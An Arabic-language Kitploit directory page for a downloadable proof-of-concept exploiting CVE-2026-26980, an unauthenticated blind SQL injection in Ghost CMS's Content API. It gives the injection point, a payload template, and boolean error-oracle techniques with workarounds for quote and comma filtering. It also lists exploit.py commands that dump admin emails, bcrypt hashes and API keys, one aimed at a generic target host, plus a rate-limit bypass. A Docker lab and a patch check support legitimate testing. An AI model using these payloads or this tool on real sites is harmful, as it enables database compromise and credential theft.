Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقأمن قواعد البياناتمختبرات وتدريب عملي
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

حقن SQL أعمى في واجهة برمجة تطبيقات المحتوى لنظام Ghost CMS

عرض المستودع
13منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-26980 — حقن SQL أعمى في واجهة برمجة تطبيقات المحتوى لـ Ghost CMS

المتأثر: Ghost 3.24.0 – 6.19.0
تم الإصلاح في: Ghost 6.19.1
المصادقة المطلوبة: لا شيء — مفتاح واجهة برمجة تطبيقات المحتوى عام
التأثير: قراءة غير مصادق عليها لقاعدة البيانات بأكملها (بيانات الاعتماد، مفاتيح API)


الثغرة

يقوم slug-filter-order.js بإدراج قيم slug المقدمة من المستخدم مباشرة في جملة SQL الخام ORDER BY بدلاً من استخدام روابط معلمات.

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

نقطة الحقن:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

قالب الحمولة:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]

أوراكل

يعمل التعبير المحقون كأوراكل قائم على الأخطاء المنطقية.

المحركصحيحخطأ
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) overflow → HTTP 500

قيود NQL — يجب ألا يحتوي تعبير SQL داخل الأقواس على علامات الاقتباس المفردة (') أو الفواصل (,):

المشكلةحل SQLiteحل MySQL
النص الحرفي 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
الحرف في الموضع Nمقارنة سلسلة مبنية على البادئةASCII(SUBSTR(x FROM N FOR 1))

|| هو تسلسل النصوص في SQLite ولكنه OR منطقي في MySQL — يجب تشفير النصوص الحرفية بشكل مختلف حسب المحرك.


الاستخدام

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

أمثلة

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

الحد من المعدل (HTTP 429)

يقوم Ghost بتحديد معدل طلبات واجهة برمجة تطبيقات المحتوى افتراضيًا. الخيارات:

  1. قم بتمرير --delay 0.5 لإضافة تأخير بين الطلبات
  2. قم بتعيين API_RATE_LIMIT_ENABLED: "false" في بيئة docker-compose وأعد التشغيل

المراجع

  • إرشادات أمان Ghost: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • فرق الإصلاح: slug-filter-order.js في Ghost 6.18.0 → 6.19.1

إعداد المختبر

للرجوع إليه فقط — تخطى إذا كان لديك بالفعل نسخة Ghost قابلة للاختراق.

المتطلبات

  • Docker + Docker Compose
  • Python 3.9+ مع pip install requests

هيكل الدليل

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

يكشف كلا ملفي compose عن:

  • http://localhost:2368 — ضعيف (Ghost 6.18.0)
  • http://localhost:2369 — مصحح (Ghost 6.19.1)

البدء مع SQLite

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

البدء مع MySQL

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

بيانات اعتماد MySQL: host=localhost:3306 user=ghost password=ghostpass
قواعد البيانات: ghost_vuln (المنفذ 2368) / ghost_patch (المنفذ 2369)

الإعداد لأول تشغيل

انتظر حوالي 60 ثانية حتى يتم تهيئة Ghost، ثم:

  1. اذهب إلى http://localhost:2368/ghost — أنشئ حساب مسؤول وانشر منشورًا واحدًا على الأقل
  2. انسخ مفتاح واجهة برمجة تطبيقات المحتوى من لوحة إدارة Ghost → الإعدادات → التكاملات

إعادة تعيين المختبر

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
تنزيل الأداة